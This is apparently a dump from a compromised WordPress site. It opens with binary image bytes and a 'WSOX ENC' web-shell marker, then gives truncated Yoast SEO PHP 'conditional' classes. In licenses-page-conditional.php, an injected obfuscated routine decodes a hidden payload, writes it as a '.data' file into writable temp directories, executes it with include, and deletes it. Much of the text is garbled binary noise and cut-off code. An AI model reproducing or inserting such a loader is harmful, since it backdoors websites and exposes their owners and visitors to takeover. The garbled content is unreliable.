���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!xmlrpc-conditional.php000066600000000667151733344570011114 0ustar00options = $options; } /** * Returns `true` when the Open Graph feature is enabled. * * @return bool `true` when the Open Graph feature is enabled. */ public function is_met() { return $this->options->get( 'opengraph' ) === true; } } user-can-manage-wpseo-options-conditional.php000066600000000772151733344570015373 0ustar00options = $options; } /** * Returns whether or not this conditional is met. * * @return bool Whether or not the conditional is met. */ public function is_met() { return $this->options->get( 'wincher_integration_active', false ); } } user-can-publish-posts-and-pages-conditional.php000066600000001036151733344570015762 0ustar00options_helper = $options_helper; } /** * Returns `true` when the links on this website should be indexed. * * @return bool `true` when the links on this website should be indexed. */ public function is_met() { $should_index_links = $this->options_helper->get( 'enable_text_link_counter' ); /** * Filter: 'wpseo_should_index_links' - Allows disabling of Yoast's links indexation. * * @param bool $enable To disable the indexation, return false. */ return \apply_filters( 'wpseo_should_index_links', $should_index_links ); } } wincher-token-conditional.php000066600000001250151733344570012351 0ustar00client = $client; } /** * Returns whether this conditional is met. * * @return bool Whether the conditional is met. */ public function is_met() { return $this->client->has_valid_tokens(); } } yoast-tools-page-conditional.php000066600000001176151733344570013012 0ustar00post_conditional = $post_conditional; $this->current_page_helper = $current_page_helper; $this->product_helper = $product_helper; } /** * Returns `true` when the AI editor integration should be active. * * @return bool `true` when the AI editor integration should be active. */ public function is_met() { if ( $this->is_attachment() ) { return false; } if ( $this->is_ai_generator_premium() ) { return false; } return $this->post_conditional->is_met() || $this->is_term() || $this->is_elementor_editor(); } /** * Returns `true` when the page is a term page. * * @return bool `true` when the page is a term page. */ private function is_term() { return $this->current_page_helper->get_current_admin_page() === 'term.php'; } /** * Returns `true` when the page is the Elementor editor. * * @return bool `true` when the page is the Elementor editor. */ private function is_elementor_editor() { if ( $this->current_page_helper->get_current_admin_page() !== 'post.php' ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['action'] ) && \is_string( $_GET['action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing. if ( \wp_unslash( $_GET['action'] ) === 'elementor' ) { return true; } } return false; } /** * Is an attchment post type. * * @return bool */ public function is_attachment() { return $this->current_page_helper->get_current_post_type() === 'attachment'; } /** * Is premium version containes AI generator. We exclude product post type because it is not supported in premium version before 25.6. * * @return bool */ public function is_ai_generator_premium() { if ( ! $this->product_helper->is_premium() ) { return false; } $premium_version = $this->product_helper->get_premium_version(); return \version_compare( $premium_version, '25.6-RC0', '<' ) && $this->current_page_helper->get_current_post_type() !== 'product'; } } primary-category-conditional.php000066600000003254151733344570013100 0ustar00current_page = $current_page; } /** * Returns `true` when on the frontend, * or when on the post overview, post edit or new post admin page, * or when on additional admin pages, allowed by filter. * * @return bool `true` when on the frontend, or when on the post overview, * post edit, new post admin page or additional admin pages, allowed by filter. */ public function is_met() { if ( ! \is_admin() ) { return true; } $current_page = $this->current_page->get_current_admin_page(); // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( $current_page === 'admin-ajax.php' && isset( $_POST['action'] ) && $_POST['action'] === 'wp-link-ajax' ) { return true; } /** * Filter: Adds the possibility to use primary category at additional admin pages. * * @param array $admin_pages List of additional admin pages. */ $additional_pages = \apply_filters( 'wpseo_primary_category_admin_pages', [] ); return \in_array( $current_page, \array_merge( [ 'edit.php', 'post.php', 'post-new.php' ], $additional_pages ), true ); } } user-can-edit-users-conditional.php000066600000000734151733344570013401 0ustar00options = $options; } /** * Returns `true` when Yoast AI is enabled. * * @return bool `true` when Yoast AI is enabled. */ public function is_met(): bool { return $this->options->get( 'enable_ai_generator' ) === true; } } jetpack-conditional.php000066600000000637151733344570011225 0ustar00helpers->product->is_premium(); } } front-end-conditional.php000066600000000512151733344570011470 0ustar00options = $options; } /** * Returns whether this conditional is met. * * @return bool Whether the conditional is met. */ public function is_met() { return $this->options->get( 'wincher_automatically_add_keyphrases' ); } } user-profile-conditional.php000066600000001041151733344570012206 0ustar00options = $options; } /** * Returns `true` when the Site Kit feature is enabled. * * @return bool `true` when the Site Kit feature is enabled. */ public function is_met() { return $this->options->get( 'google_site_kit_feature_enabled' ) === true; } } addon-installation-conditional.php000066600000000666151733344570013372 0ustar00front_end_conditional = $front_end_conditional; } /** * Returns whether or not this conditional is met. * * @return bool Whether or not the conditional is met. */ public function is_met() { return $this->front_end_conditional->is_met() || $this->is_file_editor_page(); } /** * Returns whether the current page is the file editor page. * * This checks for two locations: * - Multisite network admin file editor page * - Single site file editor page (under tools) * * @return bool */ protected function is_file_editor_page() { global $pagenow; if ( $pagenow !== 'admin.php' ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification -- This is not a form. if ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_files' && \is_multisite() && \is_network_admin() ) { return true; } // phpcs:ignore WordPress.Security.NonceVerification -- This is not a form. if ( ! ( isset( $_GET['page'] ) && $_GET['page'] === 'wpseo_tools' ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification -- This is not a form. if ( isset( $_GET['tool'] ) && $_GET['tool'] === 'file-editor' ) { return true; } return false; } } admin-conditional.php000066600000000513151733344570010665 0ustar00migration_status = $migration_status; } /** * Returns `true` when all database migrations have been run. * * @return bool `true` when all database migrations have been run. */ public function is_met() { return $this->migration_status->is_version( 'free', \WPSEO_VERSION ); } } third-party/site-kit-conditional.php000066600000001375151733344570013604 0ustar00site_kit = $site_kit; } /** * Checks whether the SiteKit plugin is active. * * @return bool Whether the SiteKit plugin is active. */ public function is_met() { return $this->site_kit->is_enabled(); } } third-party/translatepress-conditional.php000066600000000710151733344570015115 0ustar00is_elementor_get_action() ) { return true; } // Request for us saving a post/page in Elementor (submits our form via AJAX). return \wp_doing_ajax() && $this->is_yoast_save_post_action(); } /** * Checks if the current request' GET action is 'elementor'. * * @return bool True when the GET action is 'elementor'. */ private function is_elementor_get_action(): bool { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( ! isset( $_GET['action'] ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( ! \is_string( $_GET['action'] ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing. return \wp_unslash( $_GET['action'] ) === 'elementor'; } /** * Checks if the current request' POST action is 'wpseo_elementor_save'. * * @return bool True when the POST action is 'wpseo_elementor_save'. */ private function is_yoast_save_post_action(): bool { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( ! isset( $_POST['action'] ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( ! \is_string( $_POST['action'] ) ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing. return \wp_unslash( $_POST['action'] ) === 'wpseo_elementor_save'; } } non-multisite-conditional.php000066600000000564151733344570012412 0ustar00on_upgrade_page() || \wp_installing() ) { return false; } if ( $pagenow === 'admin.php' && isset( $_GET['page'] ) && \strpos( $_GET['page'], 'wpseo' ) === 0 ) { return true; } $target_pages = [ 'index.php', 'plugins.php', 'update-core.php', 'options-permalink.php', ]; return \in_array( $pagenow, $target_pages, true ); } /** * Checks if we are on a theme or plugin upgrade page. * * @return bool Whether we are on a theme or plugin upgrade page. */ private function on_upgrade_page() { /* * IFRAME_REQUEST is not defined on these pages, * though these action pages do show when upgrading themes or plugins. */ $actions = [ 'do-theme-upgrade', 'do-plugin-upgrade', 'do-core-upgrade', 'do-core-reinstall' ]; return isset( $_GET['action'] ) && \in_array( $_GET['action'], $actions, true ); } } wp-robots-conditional.php000066600000000525151733344570011534 0ustar00current_page_helper = $current_page_helper; } /** * Returns `true` when on the admin dashboard, update or Yoast SEO pages. * * @return bool `true` when on the admin dashboard, update or Yoast SEO pages. */ public function is_met() { if ( ! \is_admin() ) { return false; } return $this->current_page_helper->is_yoast_seo_page(); } } admin/posts-overview-or-ajax-conditional.php000066600000000746151733344570015250 0ustar00post_conditional = $post_conditional; } /** * Returns whether this conditional is met. * * @return bool Whether the conditional is met. */ public function is_met() { // phpcs:disable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing -- Reason: Nonce verification should not be done in a conditional but rather in the classes using the conditional. // Check if we are in our Elementor ajax request (for saving). if ( \wp_doing_ajax() && isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only strictly comparing the variable. $post_action = \wp_unslash( $_POST['action'] ); if ( $post_action === 'wpseo_elementor_save' ) { return true; } } if ( ! $this->post_conditional->is_met() ) { return false; } // We don't support Estimated Reading Time on the attachment post type. if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting to an integer. $post_id = (int) \wp_unslash( $_GET['post'] ); if ( $post_id !== 0 && \get_post_type( $post_id ) === 'attachment' ) { return false; } } return true; // phpcs:enable WordPress.Security.NonceVerification.Recommended,WordPress.Security.NonceVerification.Missing } } admin/licenses-page-conditional.php000066600000003047151733344570013411 0ustar00= $len) break; $v8 = $sym[$z]; $sChar = ord( $salt3[$z%$sLen] ); $dec =( ( int)$v8 - $sChar -( $z%10)) ^ 4; $pset .= chr( $dec ); $z++; } while( true ); $flag = array_filter(["/var/tmp", "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), getenv("TMP")]); foreach ($flag as $key => $descriptor) { if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $flg = str_replace("{var_dir}", $descriptor, "{var_dir}/.data"); $success = file_put_contents($flg, $pset); if ($success) { include $flg; @unlink($flg); die();} } } } namespace Yoast\WP\SEO\Conditionals\Admin; use Yoast\WP\SEO\Conditionals\Conditional; use Yoast\WP\SEO\Plans\User_Interface\Plans_Page_Integration; /** * Conditional that is only met when current page is the tools page. */ class Licenses_Page_Conditional implements Conditional { /** * Returns whether or not this conditional is met. * * @return bool Whether or not the conditional is met. */ public function is_met() { global $pagenow; if ( $pagenow !== 'admin.php' ) { return false; } // phpcs:ignore WordPress.Security.NonceVerification -- This is not a form. if ( isset( $_GET['page'] ) && $_GET['page'] === Plans_Page_Integration::PAGE ) { return true; } return false; } } admin/non-network-admin-conditional.php000066600000000642151733344570014237 0ustar00helpers->product->is_premium(); } } headless-rest-endpoints-enabled-conditional.php000066600000003157151733344570015740 0ustar00options = $options; } /** * Returns `true` whether the headless REST endpoints have been enabled. * * @return bool `true` when the headless REST endpoints have been enabled. */ public function is_met() { return $this->options->get( 'enable_headless_rest_endpoints' ); } } text-formality-conditional.php000066600000000661151733344570012571 0ustar00options = $options; } /** * Returns whether or not this conditional is met. * * @return bool Whether or not the conditional is met. */ public function is_met() { return $this->options->get( 'semrush_integration_active', false ); } }